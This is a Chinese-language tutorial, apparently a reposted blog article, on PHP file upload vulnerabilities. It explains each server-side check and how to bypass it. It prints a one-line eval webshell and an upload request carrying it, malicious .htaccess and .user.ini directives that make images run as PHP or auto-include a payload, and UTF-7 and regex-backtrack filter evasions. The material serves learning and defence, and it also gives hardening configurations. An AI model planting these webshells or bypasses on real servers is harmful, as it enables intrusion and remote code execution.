PHP文件上传漏洞和Webshell

原文:http://cdutsec.gitee.io/blog/2020/04/20/file-upload/

文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。
文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。

Webshell

webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。

webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

php中最经典的webshell是<?php eval($_POST['cmd']);?>

eval($code)    把字符串$code作为PHP代码执行

注意:传入的必须是有效的 PHP 代码,所有的语句必须以分号结尾
总体逻辑为:首先通过$_POST['cmd']接收攻击者的信息指令,然后调用eval进行执行

这样看来,只要我们知道了这个webshell的cmd参数,我们即可通过cmd参数传入任意的php代码,服务端都会将其执行,也就形成了一个命令执行环境,我们亲切的称其为一句话木马,网页后门等。

除了eval之外,php还有很多可以将字符串作为代码执行的函数,它们都可以被用来做成webshell,比如assert

知道了webshell,再来看看webshell管理工具。常见的webshell管理工具有蚁剑菜刀等。

这里推荐使用中国蚁剑,安装及使用参考:https://doc.u0u.us/zh-hans/index.html

php中的文件上传

$_FILES

php中关于文件上传有一个超全局变量$_FILES,它是一个数组,其包含了所有上传的文件信息

如果上传表单的name属性值为file,即:

<input name="file" type="file" />

$_FILES 数组内容为:

  • $_FILES['file']['name']   上传文件的原文件名
  • $_FILES['file']['type']   文件的MIME类型
    需要浏览器提供该信息的支持,例如”image/gif”
  • $_FILES['file']['size']   已上传文件的大小,单位为字节
  • $_FILES['file']['tmp_name']   文件被上传后在服务端存储的临时文件名, 在请求结束后该临时文件会被删除
  • $_FILES['file']['error']  和该文件上传相关的错误代码
    • UPLOAD_ERR_OK (0) 文件上传成功
    • UPLOAD_ERR_INI_SIZE (1),上传的文件超过了php.ini
    • upload_max_filesize 选项限制的值
    • UPLOAD_ERR_FORM_SIZE (2), 上传文件的大小超过了HTML表单中MAX_FILE_SIZE选项指定的值
    • UPLOAD_ERR_PARTIAL (3) ,文件只有部分被上传
    • UPLOAD_ERR_NO_FILE (4) ,没有文件被上传
    • UPLOAD_ERR_NO_TMP_DIR (6) ,找不到临时文件夹
    • UPLOAD_ERR_CANT_WRITE (7) ,文件写入失败

注意:php支持多文件上传,如果有多个文件,则上面的变量将会是一个数组,例如:

<input name="file[]" type="file" />
<input name="file[]" type="file" />

则:$_FILES['file']['name'][0] 代表上传的第一个文件的文件名;$_FILES['file']['name'][1]代表上传的第二个文件的文件名

和文件上传相关的一些函数

is_uploaded_file($filename)   判断文件是否是通过HTTP POST上传的

move_uploaded_file($filename, $destination)   将上传的文件移动到新位置

  • 该函数会检查文件是否是通过http上传(相当于自动调用is_uploaded_file($filename)),如果其返回为true才会将其移动到新位置
  • 若成功,则返回 true,否则返回 false
  • 如果目标文件已经存在,将会被覆盖
  • 移动目的路径所在目录必须存在,此函数不会创建目录

上传文件在http头中的表示

先看看文件上传时的http请求

20200408151358

其中http请求头需要关注的是Content-Type,其固定格式为:Content-Type: multipart/form-data; boundary=xxxxx

  • 其中 multipart/form-data 代表客户端要上传一个附件

  • boundary是一个分隔符,作用是分割多个表单项

    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylL6aBcmKQZeKRomN
    

    文件上传的http请求体由一个个表单项组合成,每一个表单项代表一个表单元素

  • 每个表单项由--$boundary开始,以--$boundary结尾。最后一个表单项以--$boundary--结尾,代表表单结束
    每一个表单项又由表单头和表单体组成
    Content-Disposition消息头第一个参数总是固定不变的form-data,name表示表单元素属性名

若该元素类型为file,则会多一个filename参数和Content-Type头。filename参数表示文件名,Content-Type头指明上传文件的MIME.

表单头回车换行符后面的内容就是表单体,内容就是元素的值或者上传的文件的内容

------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="upload"; filename="1.php"
Content-Type: application/octet-stream

<?php  eval($_POST[a]); ?>
------WebKitFormBoundarylL6aBcmKQZeKRomN
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundarylL6aBcmKQZeKRomN--

这样看来,文件上传的server端做的事情可以简单描述为以下步骤:

  1. 读取http body部分,根据boundary分析出分隔符(这个串是唯一的,不会与body内其他数据冲突)
  2. 根据实际分隔符分段获取 body
  3. 内容遍历分段内容,根据Content-Disposition特征获取其中值
  4. 根据值中filenamename区分是否是包含二进制流还是表单数据的key-value
  5. 根据filename获取原始文件名
  6. 按照二进制流读取上传文件流信息。

完成后即有:原始文件名信息、原始文件类型信息、全部文件流信息

上传校验以及绕过校验

如果不设任何检测随意让用户上传文件,那么自己的服务器就会变成跑马场了。因此,网站一般都会设置上传文件的校验,但是如果校验不足,便就形成了一个文件上传漏洞

客户端校验(js)

检验策略

function check(){
    var filename = document.getElementById("file");
    var str = filename.value.split(".");
    var ext = str[str.length-1];

    if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){
        return true;
    }else{
        alert("这不是图片!");
        return false;
    }
    return false;

}

在表单中使用onsumbit=check()调用js函数来检查上传文件的扩展名.

绕过
这种限制实际上没有任何用处,任何攻击者都可以轻而易举的破解,编辑一下页面/用burpsuite/写个小脚本就可以突破

后缀名校验

后缀名校验,就是在文件被上传到服务端的时候,对于文件名的扩展名进行检查,如果不合法,则拒绝这次上传

校验策略
常见的有两种策略:白名单策略和黑名单策略。

黑名单策略
文件扩展名在黑名单中的即为不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$black_list = ["php", "asp", "sh"];

if(in_array($postfix, $black_list)){
  die("invalid file type");
}

白名单策略
文件扩展名不在白名单中的均为不合法

$postfix = end(explode('.', $_FILES['file']['name']));
$white_list = ["jpg", "png", "gif"];

if(in_array($postfix, $white_list)){
  //save the file
}else die("invalid file type");

白名单策略是更加安全的,通过限制上传类型为只有我们接受的类型,可以较好的保证安全,因为黑名单我们可以使用各种方法来进行注入和突破

绕过

  1. 使用黑名单中漏掉的后缀
    常见可以解析为php的后缀有:php、php3、php5、php7、pht、phtml
    这取决于服务端的配置,比如apache中httpd.conf中的设置:

    1. #指定 php 后缀的文件应该调用php模块去执行
       <FilesMatch "\.php$">
           setHandler application/x-httpd-php
       </FilesMatch>
    
    #或在IfModule mime_module标签中末尾添加以下配置:
    设定了3中后缀(.php、.php3、.pht 可以自定义后缀)都由php模块去执行
    AddType application/x-httpd-php .php .php3 .pht
    
  2. 可能存在大小写绕过漏洞

  3. Web容器可能存在文件解析漏洞

    • Apache 解析漏洞:
      • 在Apache1.x,2.x中Apache解析文件的规则是从右到左开始判断解析的, 如果后缀名为不可识别文件, 就再往左判断。因此,index.php.abc也会被解析成php文件。
        注意:如果php以FASTCGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。
      • Apache解析漏洞CVE-2017-15715(Apache2.4.0到2.4.29)这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是\x0A,如上传a.php,然后在burp中修改文件名为a.php\x0A),以此来绕过一些黑名单过滤
        具体可看:https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
    • Nginx 解析漏洞:
  4. %00截断
    条件:

    1. php版本小于5.3.29

    2. php的 magic_quotes_gpc 为OFF状态

    3. 上传时路径可控

      原理:0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

content-type字段校验

HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改,不过加上一层防护也是可以有一定效果的

常用的MIMETYPE

MIME值 含义
text/plain 纯文本
text/html HTML文档
text/javascript js代码
application/xhtml+xml XHTML文档
image/gif GIF图像
image/jpeg JPEG图像
image/png PNG图像
video/mpeg MPEG动画
application/octet-stream 二进制数据
application/pdf PDF文档
application/(编程语言) 该种语言的代码
application/msword Microsoft Word文件
message/rfc822 RFC 822形式
multipart/alternative HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示
application/x-www-form-urlencoded POST方法提交的表单
multipart/form-data POST提交时伴随文件上传的表单


校验

$mimetype = $_FILES['file']['type'];
var_dump($mimetype);
if(in_array($mimetype, array('image/jpeg', 'image/gif', 'image/png'))) {
  move_uploaded_file($_FILES['file']['tmp_name'], '/uploads/' . $_FILES['file']['name']);
  echo 'OK';
}else {
  die('Upload a real image');
} 

绕过
直接burp抓包修改上传文件表单项的content-type即可

文件头校验

利用每一个特定类型的文件都会有不太一样的开头或者标志位,可以对上传的文件进行一定的校验。

exif_imagetype($filename)函数(需要php_exif扩展) :读取一个图像的第一个字节并检查其签名。
getimagesize($filename) :取得图像大小,返回一个数组。如果传入的文件不是图片(文件头),则返回false

  • 索引0包含图像宽度的像素值
  • 索引1包含图像高度的像素值
  • 索引2是图像类型的标记(数字)
  • 索引3给出的是一个宽度和高度的字符串
  • 索引``channels`给出的是图像的通道值,RGB 图像默认是 3
  • 索引mime给出的是图像的 MIME 信息

校验

if (!exif_imagetype($_FILES['file']['tmp_name'])){
  die("File is not an image");
}

或者

$allow_mime = array("image/gif", "image/png", "image/jpeg");
$imageinfo = getimagesize($_FILES["file"]["tmp_name"]);

if (!in_array($imageinfo['mime'], $allow_mime)) {
  die("File type error!<br>");
}

绕过
当上传php文件时,可以使用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测

常见图片的文件头(16进制):

gif: 47 49 46 38 39 61 (文本的GIF89a) 

jpg、jpeg : FF D8 FF

png : 89 50 4E 47 0D 0A

文件内容校验
这种检测主要是检测文件中的敏感字符。

校验

$contents = file_get_contents($_FILES['file']['tmp_name']);
if(preg_match("/<\?php/i", $contents) !== 0)
{
    die("Error");
}

绕过
这种其实也是相当于黑名单,只要能够找到黑名单中的漏网之鱼即可绕过

可解析为php的标签

<?php phpinfo();?>
<?=phpinfo(); ?> 

<script language=php>phpinfo();</script>    //php7移除

<? phpinfo(); ?>     //需要php.ini中short_open_tag=On
<% phpinfo(); %>     //需要php.ini中asp_tags = On  php7移除

图片二次渲染

图片二次渲染,就是根据用户上传的图片,新生成一个图片,将原始图片删除,从而实现上传图片的清洗。
相当于是把原本属于图像数据的部分抓了出来,再用自己的API或函数进行重新渲染,在这个过程中非图像数据的部分直接就被隔离开了

php中通常使用的是GD库中的API函数实现二次渲染。

校验

imagecreatefromjpeg($filename)    // 由jpg文件或URL创建一个新图像,成功后返回图像资源,失败后返回false
imagecreatefrompng($filename)     // 由png文件或URL创建一个新图像,成功后返回图像资源,失败后返回false
imagecreatefromgif($filename)     // 由gif文件或URL创建一个新图像,成功后返回图像资源,失败后返回false

imagegif($image, $filename)       // 从image图像以filename为文件名创建一个gif图像
imagejpeg($image, $filename)      // 从image图像以filename为文件名创建一个jpg图像
imagepng($image, $filename)       // 从image图像以filename为文件名创建一个png图像
// 上述的 image 参数是imagecreate() 或 imagecreatefrom* 函数的返回值

一个例子:

$imageinfo = getimagesize($_FILES["file"]["tmp_name"]);
$upload_dir = "uploads/";
$postfix_tmp = explode('.', $_FILES["file"]["name"]);
$postfix = end($postfix_tmp);
$filename = md5(time()).".$postfix";
switch ($imageinfo['mime']) {
  case 'image/gif':
      $image = imagecreatefromgif($_FILES['file']['tmp_name']);
      if(!$image)
          die("gif has broken");
      imagegif($image, $upload_dir.$filename);
      break;
  case 'image/png':
      $image = imagecreatefrompng($_FILES['file']['tmp_name']);
      if(!$image)
          die("png has broken");
      imagepng($image, $upload_dir.$filename);
      break;
  case 'image/jpeg':
      $image = imagecreatefromjpeg($_FILES['file']['tmp_name']);
      if(!$image)
          die("jpg has broken");
      imagejpeg($image, $upload_dir.$filename);
      break;
  default:
      die("error");
      break;
}

绕过
针对这种二次渲染的绕过,内容很多,足够再写一篇文章了,这里参考:https://xz.aliyun.com/t/2657

限制Web服务器端对于特定类型文件的行为

导致文件上传漏洞的根本原因在于服务把用户上传的本应是数据的内容当作了代码,一般来说,用户上传的内容都会被存储到特定的一个文件夹下,比如我们很多人习惯于放在./upload/下面要防止数据被当作代码执行,我们可以限制web server对于特定文件夹的行为。

在Apache中, 我们可以利用.htaccess文件机制来对web server行为进行限制.

一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令,它可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制等等。参考:https://www.centos.bz/2017/11/apache-htaccess文件详解和配置技巧总结/

但我们这里只关心.htaccess文件的一个作用——MIME类型修改

首先,要想使.htaccess文件生效,需要两个条件:

  1. 在Apache的配置文件中写上:

    AllowOverride All
    

    若这样写则.htaccess不会生效:

    AllowOverride None
    
  2. Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:

    LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
    

若是在Ubuntu中,可能还需要执行命令:

sudo a2enmod rewrite

配置完后需要重启Apache。
禁止脚本执行有多种方式可以实现,而且分别有不同的效果

  1. 指定特定扩展名的文件的处理方式,原理是指定Response的Content-Type可以加上如下几行

    AddType text/plain .pl .py .php
    
  2. 这种情况下,以上几种脚本文件会被当作纯文本来显示出来,你也可以换成其他的Content-Type
    如果要完全禁止特定扩展名的文件被访问,用下面的几行

    Options -ExecCGI
    AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
    

    在这种情况下,以上几种类型的文件被访问的时候,会返回403 Forbidden的错误

  3. 也可以强制web服务器对于特定文件类型的处理,与第一条不同的是,下面的方法直接强行让apache将文件识别为你指定的类型,而第一种是让浏览器将该文件识别为指定类型

    <FilesMatch "\.(php|pl|py|jsp|asp|htm|shtml|sh|cgi)$">
    ForceType text/plain
    </FilesMatch>
    

    符合上面正则的全部被认为是纯文本,也可以继续往里面加入其他类型

  4. 只允许访问特定类型的文件

    <Files ^(*.jpeg|*.jpg|*.png|*.gif)>
    order deny,allow
    deny from all
    </Files>
    

    在一个上传图片的文件夹下面,就可以加上这段代码,使得该文件夹里面只有图片扩展名的文件才可以被访问,其他类型都是拒绝访问。
    这又是一个白名单的处理方案

绕过
如果服务端没有将上传的文件进行重名命,那么就可以上传一个我们精心构造的.htaccess文件去覆盖掉现有文件,如果我们可以控制了.htaccess文件,那么一切都好办了。

利用姿势:

  1. 使用FilesMatch

    <FilesMatch "abc">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    # 文件名中包含有abc字符的都将作为php脚本执行
    
  2. 使用AddType

    AddType application/x-httpd-php .jpg
    
    #文件后缀为.jpg的都将作为php脚本执行
    
  3. 使用php_value设置php配置

    • 自动包含文件
      用途:文件包含,可以配合AddType来绕过限制上传木马

      php_value auto_prepend_file xxx.php  
      php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"     
      #使作用范围内的php文件在文件头自动include指定文件,支持php伪协议
      
      php_value include_path "xxx"   
      #如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件
      
      php_value auto_prepend_file ".htaccess"
      # <?php phpinfo();?>
      # 包含自身
      
    • 利用报错信息写文件

      * php_value error_reporting 32767 
        php_value error_log /tmp/error_shell.php
      
        # 开启报错的同时将报错信息写入文件
      
        php_value display_errors 1      #显示错误信息
      
    • 编码绕过尖括号过滤

      php_value zend.multibyte 1
      php_value zend.script_encoding "UTF-7"
      
      #将代码的解析方式改成UTF-7
      #此时我们上传utf-7编码的php脚本,这样就没有了php特征,可以绕过检查
      
    • Prce绕过正则匹配

      php_value pcre.backtrack_limit 0
      php_value pcre.jit 0
      

      如果正则类似if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),可以通过php_value设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

  4. 其他

    • .htaccess可以使用\将两行内容解释为一行

    • 绕过exif_imagetype()上传.htaccess(在文件开头加上标识图片的宽和高)

      #define width 20
      #define height 10
      #这里写我们的规则
      xxx xxx
      

.user.ini

类似于.htaccess的文件,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待php.iniuser_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载

简单的说,.user.ini是php版本的.htaccess,它可以设置所有ini_set()可以设置的配置项。

要使.user.ini生效,需要修改php.ini 中的这两个参数:

user_ini.filename = ".user.ini"
user_ini.cache_ttl = 300

利用.user.ini来构造后门
条件:

  1. 含有.user.ini的文件夹下需要有正常的php文件
  2. fastcgi运行的php
  3. php>5.3.0

php.ini中有两个配置项:auto_prepend_fileauto_append_file。该配置项会让php文件在执行时包含一个指定的文件

  • auto_prepend_file在页面顶部加载文件
  • auto_append_file在页面底部加载文件
    他们是通过require来自动调用文件的通过这个配置项

所以利用方法很简单,.user.ini文件内容

auto_prepend_file=a.jpg

其会在每个这个目录下所有的php文件执行前require一次a.jpg

关于文件上传的临时文件

文件被上传后,默认会被存储到服务器的默认临时目录中,该临时目录由php.iniupload_tmp_dir属性指定。如果upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录。需要注意的是,不论后端是否是文件上传的功能,只要我们按照文件上传的格式发送http包,则php就会将我们上传的文件转存为临时文件。前面的$_FILEStmp_name就是该临时文件的文件名。

临时文件的正常存活周期:

20200415104318

简单的说,当我们通过POST方法上传了文件,php会将我们上传的文件移动到临时文件,之后如果服务器端将该文件移动到了其他目录,即实现了文件上传功能。无论如何,php都会在脚本运行结束后删除该临时文件。

存储在服务器上的临时文件的文件名是随机生成的,但其命名是有规则的:

  • linux中通常文件名是php[6个随机字符]
  • windows中通常是php[4个随机字符].tmp
    了解了php文件上传临时文件的相关知识,如何利用临时文件呢?

这里也不展开说,内容也挺多,参考:
https://www.anquanke.com/post/id/201136
https://www.anquanke.com/post/id/183046

掌握了这两篇文章的姿势就可了

posted @ 2021-11-29 23:08  sherlson  阅读(2970)  评论(0编辑  收藏  举报